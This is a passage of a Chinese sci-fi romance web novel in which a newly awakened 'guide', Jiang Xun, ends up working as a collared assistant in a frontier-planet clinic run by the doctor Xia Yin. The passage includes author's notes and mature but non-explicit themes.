剧烈的动作让整个抽屉都掉了下来，里面的东西散了一地。 夏因丝毫不去管散落一地的杂物，把手中的抽屉一翻，便从抽屉底部取下一支手枪来，保险一开，双手举起，扭身对准了江寻。 面上神态既痛恨，又带着一些恐惧。 江寻被夏因突然的态度变化惊到，顾不得其他，就着绑缚的姿态向后一滚，整个人摔到了床下，借着床身的保护急急出声： “你冷静点，我没有恶意！我还被你绑着，没有反抗的能力，不会伤害到你！” 夏因充耳不闻，面上的表情越发阴冷下来，比一开始那冰冷的模样还要无情许多。 “你他妈的是哨兵？！” 咬牙切齿的声音中，包含着真切的痛恨，语气中的恶意几乎满溢而出。 江寻心下一沉。 他这一步似乎走错了，他原本以为更多的展露出自己的优势，能让对方暂时留下自己的性命。谁知道面前这人，似乎是格外痛恨这个“哨兵”的身份，他只是表露了身份，什么都还没做，就刺激得他几乎失控。 事已至此，他只能尽力安抚，希望能让对方重新冷静下来。 “你不要激动，我并不是专业的‘哨兵’，我的能力到现在为止只能治疗，我没法伤害到你，你冷静下来！” 夏因原本在江寻说出第一句表露身份的话时，便将手指搭上了扳机，要先行处理掉面前这个危险人物。 可随后江寻再次说出的话，却让他的脚步越来越慢，神色间也渐渐染上了狐疑。 不敢松懈，他仍然高举着手枪，绕过床铺走到了另一端，仔细看向佝偻着身子，狼狈躺在地上的江寻，却越看越是疑惑。 面前的人，躲得狼狈，额头上的伤口因为他的剧烈动作又流出了血，丝毫没有快速愈合的迹象。一根绳子就完全绑缚住了他，直到现在也没一丝能挣脱的迹象。虽然竭力平静下来，但脸上仍能看出被手枪直直瞄准后的恐惧。 最重要的是，夏因仔细打量他的神态。在这种高频高强度的噪音干扰下，他虽然表情有些难看，但远远不及正常哨兵受到干扰后表现出来的无法自控的郁躁疯狂。 疑虑渐起，夏因的情绪慢慢冷静下来，犹豫了下，端着枪口走近了些，仔细打量江寻的表情。越看越是疑惑，口中忍不住问道： “你真的是哨兵？” 江寻不知对面的人为什么疑惑，但能让他冷静下来，明显对自己更有利，忙舒缓了语气，慢慢答道： “是的，我是，但是我没有学到什么攻击性的技能，也从未用能力伤过人。我现在动都动不了，你手上还有枪，我对你没有威胁性！” 夏因又道：“你是怎么知道你是哨兵的？你有精神体吗？召唤出来给我看看。” 江寻闻言愣了愣，精神体？ 随即恍然明白过来。 他是说在精神链接通道里展露出的那个形态吗？ 那只白隼？ 那要怎么召唤出来？他只变过一回那种形态，还是在与小树的精神链接通道里，原来那个形象还可以单独召唤到现实世界来吗？ 可面对着枪口，江寻此刻顾不得去思考那么多，忙回道：“我觉醒过，也有精神体，不过我刚学会那个，不知道怎么把它召唤出来。” 想了想，江寻忙补充道：“不过我可以召唤出来别的，证明我没有骗你。” 夏因有些疑惑，哨兵除了精神体还能召唤出什么？精神屏障吗？ 想了想，没有阻止。 “你不要耍花招，要是你敢骗我，我马上开枪！” 江寻点点头，在夏因的目光下闭上了眼睛，努力从干涸的身体里聚拢起一丝能量。 干涸的能量池十分不舍好不容易囤积下来一点的能量，江寻调动得十分吃力，好半天，才从中抽出了一道细弱的能量。 喘息了一声，按照自己已经十分熟悉的路径把它祭了出去。 下一刻，两人之间，一小团空气被缓缓拨动起来，转了一圈后向内一缩，一条看不见的细弱触须出现在了空气里—— 作者有话说：江江自信发言：是的！我是哨兵！—— 有存稿摸鱼，没有存稿了还在摸鱼，555~~~勤快起来好难[化了] 第67章 “夏因， 我来了！快来帮我看看，我这只胳膊又不对劲了，动起来卡卡的。” 一大早， 夏因的诊所就迎来了第一位客人。 还没看到人， 洪亮的声音已经先一步传了进来。 话毕过了三五秒， 夏因诊所的大门才“哗啦”一声被推开，走进一个大块头来。 “呃……夏因的诊所倒闭了？” 大块头一抬头，便看到一个陌生的好看青年， 正抱着一箱东西往诊所最里面， 夏因卧室的方向走去。面上一片茫然疑惑，挠了挠后脑勺，愣愣问道。 “滚滚滚！你家才要倒闭了呢！不会说话就闭上嘴！” 远远的，一个气急败坏的声音传来。 听到这个熟悉的刻薄声音，这大块头反而吁出了一口气。 “哈哈~~没倒闭就好，夏因快来给我看看我的胳膊！” “你就不能得点正常的病来给我看吗？”随着话音落下， 穿着一身宽松白大褂的夏因， 踢踢踏踏地从内间走了出来， “我这儿是诊所，又不是机械维修店！” 大块头看到夏因， 目光一亮，憨憨地回道：“那些维修店里都是些老头子， 哪有夏因你漂……” 话音未落，就被正往脸上戴口罩的夏因狠狠瞪了一眼。 大块头讨好地对着夏因笑了笑， 乖乖地坐上了诊疗椅，把粗壮的胳膊架上桌面，袖子一掀，露出半截机械义体来。 “你快帮我看看， 我这胳膊是不是哪里出问题了啊？”大块头一边问着，还一边伸长脑袋，看着那个陌生的青年，抱着箱子走进了最里间的夏因私人卧室。 夏因没形象地翻了个白眼，“哗啦”一下拉开了抽屉，从中翻出一罐液体来。 “他是谁啊？”大块头向着夏因挤眉弄眼，“该不会是你的相好吧？” 没好气地瞪了他一眼，夏因手上动作不停，嘴里骂道：“我还需要养相好？！他是店里新招的助手！” 大块头闻言眼睛一下就睁大了：“你什么时候招助手了？！我怎么不知道？” “怎么？我还要一个个通知你们吗？”没好气地啪一下拍在对方的手臂上，“行了，没什么事，最近太潮了，你每天回去别躺下就睡！这玩意儿娇贵得很，记得勤快点保养。” “哎~不是啊，以前你不是一直都不招人的吗？”大块头委委屈屈说道：“早知道你要招人我就来了啊。” “你来什么你来！”夏因斜眼瞥了他一眼：“你以为什么人都能在我这里留下吗？” 大块头一楞，扭头看了眼重新走出来的江寻，在他身上扫了个来回，眼睛在对方脖颈间，一条露出来的黑色金属圆环上定住：“不是吧？就他？这细胳膊细腿的模样，难道他还是个哨兵向导？” 夏因意味不明地笑了一声：“可不是嘛！人家可是个哨兵！” 把储物间里的东西一样样往夏因房间里转移的江寻，闻言尴尬地摸了摸鼻子，没有反驳。 昨天他在夏因面前凝聚出了精神触须来证明自己的身份。 他也终于从夏因的嘴里知道，原来他一直以为的“超级士兵”，原来是两种不同的能力。 一种哨兵长于肉|体，是战斗主力。一种向导长于精神，主要负责辅助、治疗控制。两者互相配合互相依赖，缺一不可。 而他，从来就不是个哨兵，而是个向导。 “谢谢惠顾，欢迎下次光临！” 夏因给来人处理好了问题，便不耐烦地扭身回了房。江寻招呼着来人交了钱，领着他取了义体专用的保养油，这才好好地把人送了出去。 不知道因为什么，夏因在知道自己不是哨兵而是向导之后，态度变得微妙了许多。不仅没有杀他，还让他留了下来，以助手的身份，住在了店里。 江寻暂时不知道原因，但能活下来，他便也达成了最低的目标。 暂时没有了生存危机，江寻这才空闲了下来，考虑将来的路要怎么走。 如今的他仿佛又回到了刚刚穿越过来的时候，对身处的环境一无所知，一穷二白，连身份也没有。 不过还好的是，当初学在自己脑子里的东西，没有遗失半分。 当务之急，就是赶快搞清楚自己迫降下来的这个星球，到底是个什么地方。最好是能在被发现是黑户之前，把身份的问题搞定。其他的东西，都可以稍缓再说。 正思考着，夏因的声音又从里屋里飘了出来。 “别怪我没提醒你，一个向导孤身出现在这种地方，可不是什么好事。在你没站稳脚跟之前，不要让别人知道你是个向导。你不会想知道在这个地方，暴露出自己的身份，落进别人手里会是个什么下场的。” “好的，医生，”江寻认认真真地回答：“我听你的，以后我就是哨兵江寻，不会给你惹麻烦的。” 里间的人似乎没想到江寻问都不问，就应下了他的话，带刺的言语突然落在了空处，让他十分不习惯。 夏因几步走了出来，似乎是想看看江寻是不是如他口中所说的那么听话。 一眼看到对方正规规矩矩地站在门口的导诊台后面，脖子上也好好地带着拘禁圈，这才放心下来。 “先说好了，你本来就是我买下来的人，没从你身上赚到钱我已经吃大亏了，工资是没有的！我在你身上一共花了一百零二枚天启币，还够钱之前，你别想跑，要是让我发现你人不见了，我就会马上引爆你脖子上戴着的拘禁圈！” 见江寻一直认认真真地听着他说话，话落还听话地点了点头，夏因眼中带着狐疑，语气却和缓了不少。 “行了，我这里平时也没什么人来，你用不着一直在门口杵着，把储物间收拾干净了，以后你就住那里。” “这里也没有给其他人准备多余的生活用品，需要什么你自己想办法去搞。” 江寻一一应下，夏因想了想，又补充道： “还有，我这儿来的人鱼龙混杂，你给我老实一点，别给我惹事！要是惹上了哪个大人物，你别想我会去救你！” 见江寻一脸认真听进去了的样子，夏因终于暂时放下了心，一转身又回房了。 江寻眼见着人走了，这才吁了口气，放松地坐下。 他当然不会在这时候逃跑了，能在一开始就找到个落脚的地方，已经很好了，这可比他一开始在那个无人星球上醒来时好多了。 想到了那个无人星球，那双凝注的墨绿瞳孔，又不由自主地浮现在他眼前。 江寻面色沉凝下去，手指插进口袋里，在那个已然无法亮起的项圈上摩挲一下，心中浮起一点担忧，一点生气，轻叹了口气。 * 另一边，寂静星上。 经过了一天一夜的激战与奔袭追杀，战斗的硝烟终于渐渐散去，只余空中漂浮不散的蓝紫雾气与满地的残破尸骸，证明着一切的存在。 “滴答，滴答，滴答~” 不知从哪里一直传来一声声水珠滴落的声音，倚靠在树下的一具身影，终于在这持续不断地声音中，微微动了一下。 陆厌离的意识随着身体的慢慢稳定，渐渐苏醒了过来，低垂着的头发晃了晃，一双眼睛在发丝的遮蔽后面睁了开来。 一睁开眼睛，第一时间感受到的，就是一阵足以席卷全身每个角落的剧烈痛楚。 陆厌离闷哼一声，干涸的喉咙，连发声都扯得嗓子疼。 第一时间在脑中竖起屏障，屏蔽掉大脑从周围采集到的过多的无用信息，只留下疼痛感，让自己更加快速的清醒过来。 这么刺激了自己将近十分钟时间，陆厌离这才提起了力气，抬起头来。 入目一片残垣断壁，血流成河。 地上被泥土、杂乱的脚印、干涸的黑血、碎裂的草木巨石所覆盖，顺着他一路行来的路径，一路延伸下去。 这样的痕迹足足拖了将近一公里，路径之上，连整片的树木都被整个掀翻过去，视线过处，一览无遗。 十数具或倒伏、或仰面的尸体，间隔着躺在这条长长的走廊之上，有的身边散落着断裂开来的血肉残肢，有的只是面色青白，看着像睡着了一样安详。 离得陆厌离最近的一具尸体上，火红的短发已经黯淡了下来，被污血一染，化为斑斑驳驳地黑红色。 陆厌离唇边漾起一点点微不可见的笑意，像是为自己的表现得意。却又想起，身边已经没有了可以让他去分享的人。 目光黯淡下来，面前再一次浮现起江寻最后的面容，心中满是心疼愧疚，而后又被压倒性的恐慌覆盖。 自己终究还是在他面前现了身，让他知道了自己的身份。 违背了与他的约定，恐怕以后，他便再也无法继续以宠物的身份跟在他身边了。 而且……陆厌离脑海中浮现出那么多个夜晚中的亲密依偎，心中被愧疚塞满。 被一个陌生人偷偷猥亵了这么久，放在任何人身上恐怕都让人无法接受。 这样的自己，他还能原谅吗？ 陆厌离心中被强烈的负面情绪所填满，没发现后腰处，他看不见的地方，半片红色图纹像信号不好一般，闪了一闪，颜色变淡下来，重新将自身隐藏了起来—— 作者有话说：无存稿裸奔终会落水[捂脸笑哭] 第68章 江寻正弯腰从地上抬起一个装满杂物的纸箱， 突然腹部一热，一股强烈的剧痛感，从后腰处无凭而生， 顺着神经末梢速度极快地上扬， 冲入了他的脑干。 猝不及防之间， 江寻只觉浑身一抖，脑子就空白了下来，身体上所有的感知都被驱散， 体内好像一下子空了下来， 只余下一片仿佛无边无际的疼痛感充斥脑海。 江寻被这突如其来的冲击刺激地懵了，一下子跪了下来，膝盖重重磕在箱角，也没把他从这片无边剧痛中拉回，眼睛瞪得滚圆却看不到一丝清明，嘴巴张到最大却发不出声音， 整个人重重侧翻过去， 倒在了地面上， 四肢痉挛颤抖起来，意识被绞进深海之中沉沉浮浮。 直到重新恢复了意识， 已是不知过去了多久。 耳边传来一阵模模糊糊的声音，声音渐响， 而后，房门被一把推开， 那个声音一下子变得清晰了起来： “江寻！你到底在干嘛？我叫你你装听不见吗？” 江寻呼哧呼哧地瘫在地上喘着粗气，浑身一片冰冷，汗湿衣衫。手脚仍然不受控制地一抖又一抖，似乎还在被痛楚的余韵影响着， 一点儿爬起来的力气也没有。 * 五分钟前。 夏因暴躁地在房里喊了江寻半天，也不见他应声，探头一看，大厅里已是一个人影也无，瞬间心头火起。 刚才给他说话的时候答应得倒是挺好的，一转眼就不见人了？老子多久没这么好心过了？就这么一次就让这小子给骗了？ 正想着启动拘禁圈给他点苦头吃吃，便听见旁边的储物室里传来响动。 原来没跑。 心头的火气消下去一些，可转眼又燃了起来。 他没跑，那我叫他他还没反应？ 几步走过去踢开房门正要骂人，却见江寻正蜷缩着倒在地上，浑身颤抖个不停，身下已经被冷汗浸湿了一大片。 嗯？ 他怎么了？ 一进入到专业领域，夏因马上冷静了下来，蹲下身去，掀开江寻的眼皮看瞳孔。 一边看一边拍打着他的脸，试图唤回他的意识。 “喂！你怎么回事？能听到我说话吗？你身上是有什么病吗？” 江寻的视线渐渐聚焦，但是还是没有力气说话，动了动嘴唇，却什么声音也没发出来。 看到江寻恢复了意识，夏因也不嫌弃他满身的狼狈，扶起他的一边胳膊搭在自己肩上就把江寻往外面病床上拖去。 嘴里却还不依不饶：“啧！我可真是给自己找了个大爷回来，还得我去伺候你！” 他的个子比江寻小得多，江寻往他身上一搭，跟被他背起来了似的，腿脚还吊在后面拖在地上。 等夏因把他挪过来摔在床上，已经累得呼哧呼哧直喘气。 “你……呼……你到底吃什么长大的？你……你一个向导，为什么长得这么大只？” 夏因平时连门都懒得出，体力差得要命，就半背着江寻走了这么一小段路，便累得不行。一累起来，脾气越发不好了。 江寻此刻却顾不上夏因的嫌弃，刚才那股剧痛实在是他从未体验过的剧烈程度，它突如其来的发作原因，也让江寻心里沉甸甸的。 果然从那么高的地方坠落下来，不可能像他一样，几乎完好无损吧？ “我可告诉你，就算你现在是这里的员工，给你治疗也是要收费的！” 夏因手下不停，一把扯开江寻的衣领，一边将一片片电极片贴在他的胸前，一边说道。 脚下一勾，又把一辆装载着仪器的小推车从房间角落，勾到了自己身边。 面色一肃就进入了工作状态。 “你刚才是感觉剧烈疼痛吗？以前有过这样的症状吗？有就眨一下眼睛，没有就眨两下。” 江寻眨两下眼。 “具体是哪里疼？体表还是内脏？” “是突然开始疼的，还是一点点疼起来的？现在还疼吗？” “要是给疼痛评级一到十级，你感觉刚才的程度能到几？” …… 夏因一边问，一边把江寻的答案一一记录在案，并辅以仪器检查出来的结果放在一起共同判断。 可任由夏因给他做了多少检查，两边的结果，却始终对不上。 这奇怪的现象，让夏因也迷惑起来。 “按照你的描述来说，这种剧痛程度，怎么也得是内脏受创严重，或者是外伤非常严重的状况才对。可是，”夏因手上捏着刚刚打印出来的检查单一抖，“从你的检测报告上看，你的内脏顶多就是有点轻微的震荡伤，功能上一点儿问题也没有。” “外伤最严重的也就是你眉骨上面这一道了，”夏因说着，还直接伸手，在江寻的头发里面和后脑勺处摸索了一圈。 “我也没漏掉哪里呀？怎么可能会有像你刚才那样表现剧烈的疼痛感？” 夏因说着，面现狐疑，看向江寻：“你该不会是在骗我吧？” 江寻听到夏因的诊断结果，心中也疑惑不已，可他也不可能去认下自己没做过的事。只得虚弱地对着夏因眨了两下眼睛。 夏因看着江寻现在这个样子，心中也有些不信。 想了想，又说道：“也有种可能，病因必须要在发作的时候才能检测出来，你这会儿已经不疼了，所以异常的源头也检测不出来了。” “这样吧，我先把你的症状和检测结果记下来。下一次你再发作的时候，马上来找我，这样得出的数据一定是最准确的。” 一时找不到原因，夏因也不去为难自己，干脆利落地盖棺定论。 又没好气地瞪了江寻一眼：“第一天帮忙你就给我惹幺蛾子！” 江寻也有些不好意思，抱歉地看了夏因一眼。 夏因说完，便也没再纠结此事，就让江寻这么躺着休息，自己去打开了诊所大门，开始了一天的工作。 也不知是不是前几天域外那场大战遗留下来的余韵，今天来诊所找夏因治疗的人非常多。 大厅的候诊区里，一直有满满的顾客在排队等待着，夏因也忙得脚不沾地，让始终占着病床躺着的江寻，生出了些惭愧来。 等下午感觉自己已经缓过来些了，便忙不迭地下得床来，给夏因帮忙起来。 看了看江寻的模样，夏因也没有拒绝，从善如流地把一些不太重要的工作直接丢给了江寻。 这么一工作起来，江寻才发现，他迫降下来的这个地方，好像真的不太寻常。 “喂，那边那个小白脸，你过来！” 嘈杂的门厅里，一道粗哑的男声盖过了喧闹，众人对视一眼，渐渐安静了下来，纷纷扭过了头去。 江寻也闻声看向声音响起的方向，却见到一个面相粗犷的三十几岁的男人，双臂架上候诊区的沙发靠背，视线直直地向着他看过来，面上露出个不怀好意的笑。 四周看过来的视线中充满了戏谑，还有人一边瞟着他，一边凑在一起光明正大地私语。 交织在众多视线的落点里，江寻犹豫了下，想到不久之前夏因的告诫，还是走了过去。 “先生，有什么事吗？” 话音刚落，周围的人声一静，继而哄堂大笑起来。 “哈哈！先生？！这是哪里来的小少爷？” “哇哦！疤脸格森都可以被叫先生？那我是不是可以直接当老爷了？哈哈哈！” “哦！尊敬的格森先生！快看，您忠实的奴仆在等着为您服务呢！” 江寻看了看周围的人群，有了点不好的预感。 格森也似是被江寻的称呼叫得满意，说话的语气都带上了一些矫揉造作的矜贵，下巴高高扬了起来：“你是什么人？什么时候来的诊所？大爷我以前怎么没见过你？” “我是今天刚来的，先生。”江寻静静立在喧闹的人群里，面带一点点笑意，说得不卑不亢。 “哦？今天刚来的？”格森一听，眼睛一转，“那你是怎么能让夏医生把你留下的？给我们说说啊？” 江寻看一眼周围盯着他的一圈眼睛，说道：“我无家可归，都是夏医生心善，让我留下给我口饭吃。” “什么？你说夏医生让你住这儿？”格森惊呼出声，这下连假装的矜贵都忘记了，“怎么可能？！” 说着说着，狐疑地上下打量一下江寻，面上扬起个油腻的笑容：“你该不会是夏因养的小情儿吧？” 又凑近一步，像是说悄悄话，声音却足以让周围的一圈看客听清：“哎，听说夏因这方面经验很丰富，很会伺候人的啊？怎么样怎么样？你体验过了没？是不是真的啊？” 江寻眉头狠狠皱了起来，面上的笑意也敛了下去，张嘴正要说些什么，旁边传来一道声音： “这么想知道？要不要让我亲自来告诉你们啊？” 一听到这声音，众人便知道今天的热闹又看不上了，纷纷装着没听见这话，一哄而散。 夏因站在众人身后，看着面前这帮乌合之众，面上冷笑。 格森也丝毫没有背后说人被抓住的尴尬，撇嘴一笑就要把话题带过去：“哎呀，夏医生，别生气嘛，我们只是开个玩笑！是不是啊小东西？” 边说边抬起了手，向江寻肩上搭过来。 江寻此时却同样抬起了手，“啪”一声打过去，把格森的手狠狠扇开：“这位先生，当事人不觉得好笑的，那就不是玩笑，我们也不是什么能开玩笑的关系。” “我看您还有心情开玩笑，看来也没什么要来诊所的必要吧？您看您是自己出去呢还是我来请你？” 此言一出，不光周围的一圈人瞬间安静了下来，连夏因也诧异地看向了江寻，江寻却双眼直视着面前的格森，毫无避让。 这不留情面的话听得格森当即大怒，他不敢直接去招惹夏因，难道连他养在身边的一个小白脸也不能动了吗？ 当即一挺身就要站起来，嘴上也开始骂道：“他妈的，小白脸，我看你是想死……” 话还没说完，扬起的面上就被一双大手覆盖了住，下一秒，一股巨力从覆在面上的大手上袭来，格森面上一痛，居然被这只大手单手抓着脸，生生从地上拔了起来。 一声惨叫，让前厅中彻底安静了下来，格森被抓得眼珠暴突，吊在这只大手上死命地挣扎，却不能让这双手卸去一点儿力量。两只脚在空中不停地蹬踹，却不能让大手的主人有丝毫的停留。 江寻理都不去理手下的人不值一提的反抗，抓着他的脸，两三步就走到了门口，一甩手就把他扔了出去。 看都没看狼狈滚落在地上的男人，就像是出门丢了个垃圾一般，关上门便又退了回来。 众人看着他，吓得眼珠都不敢动弹，江寻却好像压根没把刚才的事放在心上，面上又带上了笑，礼貌地询问道：“还有哪位先生需要帮助吗？” 周围围着的人群隐蔽地彼此看看，几道吞咽口水的声音响起，被江寻盯着的最前面一人，打了个哆嗦，忙道：“不用不用，我没事！” 江寻的眼神向着左右两边转转，看到哪边，哪边的人群就吓得倒退出去一步。站在后排的许多人，更是悄无声息地趁着江寻的目光还没转过来，矮身就顺着门缝溜了出去。 一时间，刚才还人声鼎沸的门厅，一下子空了一大半出来，四下无人说话，整个房间安静了下来。 “噗嗤~” 打破了寂静的，竟是夏因的一笑。 夏因抬眼看着直直站在人群面前的江寻，脸上完全没有了刚才的阴沉，心情很好地在面色各异的众人面上扫视了一圈，转身便向着侧边的诊疗室走去，边走边说道：“趁我心情好，要治疗的赶紧，不需要的趁早走吧，别在这儿浪费我的时间了。下一个是谁？赶快进来。” 众人面面相觑，无声无息间，又走了一半。 剩下几人，绕过站在门厅中央的江寻，终于安安静静地排上了队。 经过这么一出，没过一小时，剩下没走的病人便被夏因处理完了。 久违地在大下午就结束了工作，夏因靠在大沙发上，面露惬意，已经忘了早上为江寻治疗时候的烦躁，为自己留下他的决定，在心里赞了自己一声英明。 “哎，没想到你还挺有用的！这帮渣滓，平时一个比一个混账，遇到比他们拳头更硬的了，就没一个敢吱声的，一帮孬种！” 夏因长长吐出口气，感觉自己心头的郁气都顺畅了不少。 早知道早点找个哨兵来看店了……唔，不行，其他哨兵恐怕还真不行，也就这个怪人才能有这效果了。 夏因想着想着，又满意地看了江寻一眼。 “我得罪了这些人，不要紧吗？”江寻问道。 “他们算什么东西，”夏因不屑地大手一挥，“在我们这种地方，谁拳头大，就听谁的！他们这些普通人，也就能欺负欺负寻常平民罢了。这不是，即使你表现出来的水平，可能只是个D级哨兵，也能压得他们话都不敢说吗？” 说到这里，夏因面色认真了些：“你真正不能招惹的，是那些哨兵！” 江寻还想再问，刚张开嘴，却不由打了个哈欠。 夏因看他一眼，想了下，面现了然：“以前呆的星球一天时间很短吗？” 江寻点了点头：“一天大概只有20个小时左右。” 夏因点了点头：“那就没错了，我们这里一天30个小时，你这生物钟还没调过来，这会儿也该困了。” 说着，看了看时钟，回头说道：“今天就算了，后面的客人，你也帮不上什么忙。看在你给我免掉了很多麻烦的份上，给你放个假。去睡吧，尽快把生物钟调整过来。” 见夏因这样说，江寻也没有逞强的意思，从善如流地应了下来，洗漱过后，便回到了他的储物间。 也不嫌弃没有床铺，三把椅子横放拼成个能躺下的位置，便合衣躺了下去，不一会儿，房间里就响起了悠长的呼吸声。 一夜无梦，可正酣睡到最深处的时候，却有些不同寻常的动静从外边传来，突破酣眠，被江寻的耳朵捕捉到。 江寻眼皮动了动，意识从深眠中甦醒了过来。 一阵阵细微的奇怪声音，从门缝里溜进储物间，不停地往他的耳朵里面钻。 迷迷糊糊地醒了过来，江寻坐在原地反应了好一会儿，才清明了过来。 这么一会儿，耳朵捕捉到的动静，又大了些。 看了下时间，从自己睡下到现在，大概已经过去5、6个小时了，江寻暗自计算下时间，有些奇怪。 这时间，即使是按照这里的一天30小时来计算，这会儿也该入夜了吧？一直到现在还一直有病人来吗？ 既然被吵醒了，江寻也不打算继续睡了，想到下午时夏因的好意，江寻鞋子一趿便打算出去帮忙。 一开门，耳朵便捕捉到了更大更清晰的声音。 一道似泣非泣，甜蜜缠绵的清晰男声，突然传入了江寻的耳朵。 江寻脑子还没反应过来，眼睛已经下意识地向着声音传来的方向看去。 是那个自己刚醒来时，见到过的，挂着一把锁的房间。 下一刻，江寻面色一下子涨红起来，房间里的动静也突然停下，传来了一个陌生的男声：“谁？！” 江寻僵在了原地，进退失据。 另一个已经开始熟悉的声音，却带着一些沙哑，喘息了一声之后，才开口道：“不必在意，应该是我这儿新来的助手，继续……” 随即，暧昧的男声再起，间或混杂着一些不明显的水声、布料摩擦声。 江寻内心一阵窘迫，轻轻抬起腿脚，又小心地退回到了储物间中。 良久，外间的声音才彻底平息了下去。 又等了好一会儿，脚步声响起，一道沉重的渐渐远去，另一道轻盈的，停在了他的房门前，随即，房门上响起了一声轻轻的敲门声。 江寻有点偷听被抓到的窘迫感，房门一开，人还没看清，江寻先道了一声歉：“对不起，我不是故意打扰的。” 随即，来人映入了江寻的眼帘。 夏因像是刚洗了个澡，身上的白大褂不见了，取而代之的是一身黑色的绸缎睡衣。 他斜斜靠在门边，微卷的半长发洒落在脖颈里，掩住了脖间的一片旖旎红痕，整个人的气质妩媚而诱惑，与白日里大为不同。 对着江寻挑了挑眉，下巴往旁边的诊疗床上一点，夏因当先走了过去，坐在了床边。 江寻犹豫了下，看着夏因直直看过来的眼神，还是硬着头皮跟了上去。 “噗~” “干嘛这幅表情？”夏因看着江寻窘迫的样子，没忍住一笑，出声打破了寂静。 “怎么？没想到我会这么做？没想到白天他们说的都是真的，是吗？” 江寻沉默了良久，问出另一句话来：“你都是自愿的吗？” 夏因闻言，眼睛奇怪地看向江寻，上上下下打量他半天，问出一句话来：“你向导等级起码有D了吧？你该不会从来没给别人疏导过吧？” 江寻一愕，眉头皱起，刚才说的不是那档子事吗？这和疏导有什么关系？ “我当然给别人疏导过，”江寻答道：“这两个问题之间，有什么关系吗？” 夏因闻言，更觉有趣了，干脆站起身来，绕着他打量了一圈。 “有趣，太有趣了！”夏因面上漾起个饶有兴味的笑，“你给别人疏导的时候，精神力从没用光过吗？” 江寻明知不对，却还是答道：“你是说体内的那种能量吗？当然用光过啊，经常用光，那又怎么了？” 夏因接着追问：“用光以后你怎么办的？等着它慢慢自己回复？” 江寻奇怪地说：“当然，不然呢？” 夏因一挑眉，直觉感觉到了不对：“你的精神力多久能全部恢复完全？你就没用过别的方式补充吗？” 江寻更觉奇怪：“通常一晚上吧？还有什么方式可以快速补充的吗？” 夏因的目光越发让江寻看不懂了：“你就没试过精神补偿？你疏导的那个哨兵也没有提给你补偿的事吗？” 江寻一愕，精神补偿？—— 作者有话说：猫猫逐渐继续掉马！[让我康康] 第69章 夏因一看到江寻的样子便知， 他还真的是从不知道精神补偿这回事。 匪夷所思地看向他：“你之前到底是在哪里长大的？你成年都好多年了吧？你没去塔里登记过吗？没吃过猪肉也见过猪跑吧？你怎么什么都不知道？” 江寻抿了抿唇，忽地问道：“所以说，你也是向导？你刚才是在帮别人疏导？疏导需要那样？” 夏因已经不为江寻的无知感到奇怪了：“我当然是向导， 我以为你向我展示出精神触须的时候就知道了呢！普通人是看不到精神力具现化的。” “至于疏导的方式， 那就有很多种了， 我可没工夫一点点教你啊，小朋友。” 看了看江寻年轻俊朗的外表，夏因又是眼神一转：“所以说， 你之前没怎么接触过其他的哨兵向导， 只有一个保持固定关系的哨兵，你一直在为他疏导，但是他从没提出过给你补偿的事，对吗？” 江寻双唇嗫嚅一下，沉了沉眼。 夏因的笑容带上了一丝嘲讽：“是没给你补偿过呢？还是做了什么，但是没让你知道呢？哼！” “你又为什么会一个人出现在自由城， 晕过去， 被那群拾荒的秃鹫卖掉呢？” “让我猜猜看， ”夏因绕着江寻踱了一圈，“你的向导等级很高？或者和那个哨兵的匹配度很高？你已经把他完全净化了吗？” 江寻张了张口， 还是没有说出话来，神情更加阴郁了些。 “呵！哨兵！”夏因的面色彻底冰冷下来：“又是一个蠢货！对你说几句甜言蜜语就以为他被你迷住了是吗？对你好一点就以为他真的爱上你了是吗？” “不是的， 我们不是那样的……”江寻反驳到一半，被夏因更大的声音打断。 “那你告诉我， 你现在为什么会站在这里！要不是我，你早就死了！” 夏因死死盯着江寻，脸色难看，眼睛里泛起些江寻看不懂的东西。 江寻被他突然爆发出来的情绪镇住， 一时没能说得出话来。 夏因剧烈喘息着，不再说话，转身就走。 * 第二天，晨。 江寻已经醒来许久了，但还是强迫自己进入休息状态，一直到时钟的指针滑到了八点过半，才起了身。 肉眼可见的，他可能要在这个星球上停留一段时间了，他要尽快让身体适应本地的生物钟。 等他洗漱完毕，把诊所打扫干净，开了门，最里面的房间里仍是没有任何动静传出来。 等他又做好了早饭，正想着要不要去喊夏因起床时，房门才“咔哒”一声打了开来。 重新换上了宽宽大大的白大褂的夏因，挂着更重了的两个黑眼圈，走了出来。 “早，夏因医生！”江寻打了招呼。 夏因却臭着个脸，不理他。 看了眼餐桌，理所当然地端起一盘早餐，转身就往回走。 却在扭身之际，把两本书册甩在了桌上。 “嗯？” 江寻一楞，看向被甩下的书册。 上面的一本，页脚已经被翻得起了毛，整体却保存的很好。深蓝色的封面上，印着几个烫金大字：《精神之海：向导力量本源探索》 下面一本却没有封面名字，薄薄一册，手写的字迹有些歪，还不时出现一个拼写错误。 江寻一笑，冲着内室的方向喊了一声：“谢谢，夏因医生！” 下面几天里，江寻都过得非常规律充实。 自从第一天赶走了格森之后，后面几天里，来诊所的患者数量上少了许多，但态度也规矩了许多，夏因心情一好，工作的效率都提高了，收益反而还提升了不少。 没有了那些醉汉刺头找麻烦，江寻也能留出更多的时间研究夏因给他的两本册子。 同时，与一些顾客的聊天，也让江寻对如今所处的这个自由城有了更多的了解。 这颗星球的环境，与他以往生活过的地球与无人星完全不同。 从联盟的地域划分来讲，这颗星球，位于联盟边缘的M85星系之中。 特别的是，它并非一颗行星，而是一颗拱卫着行星的卫星。 这里的居民称呼那颗高悬在空中的行星为启明星，又有直接叫主星的。 这里的一天有30个小时，一个月却只有15天。 比较特别的是，因为是卫星，所以这里每日的光照模式也与寻常行星完全不同。 白天除了有一个持续15小时左右的强光照期之外，在昼夜交替的清晨和傍晚，还分别有一个持续好几小时的弱光照期，只有深夜的几个小时期间是真正的无光照夜晚。 而且，在每个月的8号夜晚，还会固定出现一个“主星食”的现象，这样的环境对于江寻来说，实在是十分神奇。 “这个药是内服的，每天三次，一次一粒。这个是外敷的，你每天晚上睡前清洗干净再厚敷上一层就行。这是十天的量，十天以后再来复诊。” 江寻手脚利落地按照夏因开的处方配好了药，送走了最后一个病人。 天边的“太阳”已经落了下去，只有一个明亮的主星高挂在天际。 夏因已经早早坐了出来，等着换他去睡觉。 夏因的情人似乎和他感情很好的样子，每天都要来找他，因为第一天的尴尬，江寻也不好意思留下当电灯泡，每到太阳落下，也就从善如流地按着夏因的意思先去睡觉，把空间留给他们两人。 今天也是如此，江寻早早把工作区打扫干净，补充了药柜，就默默回了房间，看他的教材。 另外，虽然夏因一直不在意，但是他们晚上的动静一直挺大的，江寻实在不好意思。于是，自制了一些软板布条，布置在墙面门缝之间，隔音效果果然好了许多。 